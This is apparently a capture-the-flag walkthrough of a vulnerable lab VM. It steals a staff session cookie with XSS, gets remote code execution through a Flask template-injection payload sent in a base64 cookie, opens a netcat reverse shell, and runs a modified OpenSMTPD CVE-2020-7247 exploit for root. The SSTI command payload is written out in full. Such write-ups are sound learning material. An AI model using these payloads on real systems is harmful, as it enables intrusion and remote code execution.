
Walkthrough 
After importing the vm and booting it up, we can see it’s IP in the console window.

nmap-scan 

We find two open ports. Testing connecting on both ports.
Port 80

Html-page. A bootstrap theme.
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Port 22 

Looks like it is SSH as it claims to be.
Enumerating port 80 using nikto

It reveals exactly what we need. /admin
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Everything requires login, except link “Request access” on the front page.

Fuzzing form reveals nothing. But “Request access” could mean someone reviews 
requests, one should think? So we try a XSS payload.

After a short wait, we receive a request.
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And we have a session-cookie. We paste it in our existing session-cookie and click the 
“staff” link.We are in. Apparently as user: Mike Litoris

The first think we try is “Shell”. But Mike does not seem to be trusted with that access.
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We do however have access to logs. 

Looking through logs, this catches our eye
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Adding that cookie, gives us access to the «Shell» page.

Looks like a shell, but not usable in any way. So guess the «under construction» means 
just that.

The session-cookie and the routing between pages without document names/
extensions, makes us believe it could be a flask-app. So. Is there anywhere we could 
manage a template injection? There are some log files we can try.  
We try several different payloads in «Access requests» but it does not seem to have that 
vulnerability.

Nothing…
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But, it hits us there are some cookie processing. The auth-cookie. So we try to base64 
encode {{6*7}} and pasting it in the Auth-cookie.

And, there it is. 42

So we try to see if we can extract useful information er even better find subclasses we 
could exploit.
{{config}} reveals a lot of information but nothing we immediately see that can help us in 
the foothold.

Unknown encoded cookie = Auth:<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 
'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 
'SECRET_KEY': b'\x9ej\x829\x99r\xd9\xb0T\x0c\xa9\x82G\x04[/\xe2R\xa5A\xea\xbc}
\x03\xf1\xb6\xb8\xb0<\xd6\xdc!?\xafLV\x1f\x86\xc5.\xa9\x9d9[|^.\x1a\x9f\xea\xe1\x10', 
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 
'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 
'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 
'SESSION_COOKIE_HTTPONLY': False, 'SESSION_COOKIE_SECURE': False, 
'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 
'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': 
datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 
'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 
'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 
'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 
'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 
'SQLALCHEMY_DATABASE_URI': 'sqlite:////var/www/app/data.sqlite', 
'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 
'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 
'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 
'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 
'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 
'SQLALCHEMY_ENGINE_OPTIONS': {}}>
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{{''.__class__.mro()[1].__subclasses__()}} Shows us 1084 subclasses. So, something 
should be useful here. We start the search by searching for Popen.


We find Popen on line 412, which means it has index 411
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So, we create our payload for testing RCE.

{{''.__class__.mro()[1].__subclasses__()[411]('id',shell=True,stdout=-1).communicate()}} 


So, we got a RCE.

Let’s try revshell. We know this is openBSD. We also know that their implementation of 
netcat isn’t exactly like the Linux one. 
Visiting their man-pages gives us more info.


The -e switch does other stuff here.


But, the named-pipes method should work.
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We listen on port 443 and get revshell. (Only 80 and 443 are allowed out the openBSD 
firewall )


We find a interface listening to 25


We know openSMTPD has a recent vulnerability. CVE-2020-7247

Trying to deliver a mail to root, turns out to be hard.


Maybe we don’t have correct domain-name? If we see on the staff-page, there are clearly 
a sendmail there.
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It triggers a javascript. But as we don’t have a configured mail-client, we don’t see it right 
away. 

But reading the javascript shows us the domain. mofo.org




We try to add that domain-name and we are successful.


Theart42 modified this exploit to get it running on openBSD

#!/usr/local/bin/python3

#

# Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution

# Date: 2020-01-29

# Exploit Author: 1F98D

# Original Author: Qualys Security Advisory

# Vendor Homepage: https://www.opensmtpd.org/

# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1

# Version: OpenSMTPD < 6.6.2

# Tested on: Debian 9.11 (x64)

# CVE: CVE-2020-7247

# References:

# https://www.openwall.com/lists/oss-security/2020/01/28/3

#

# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately

# escape dangerous characters from user-controlled input. An attacker

# can exploit this to execute arbitrary shell commands on the target.

#  

…
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Then we try the exploit; sending another named pipes nc revshell.


Our listening netcat receives connection.
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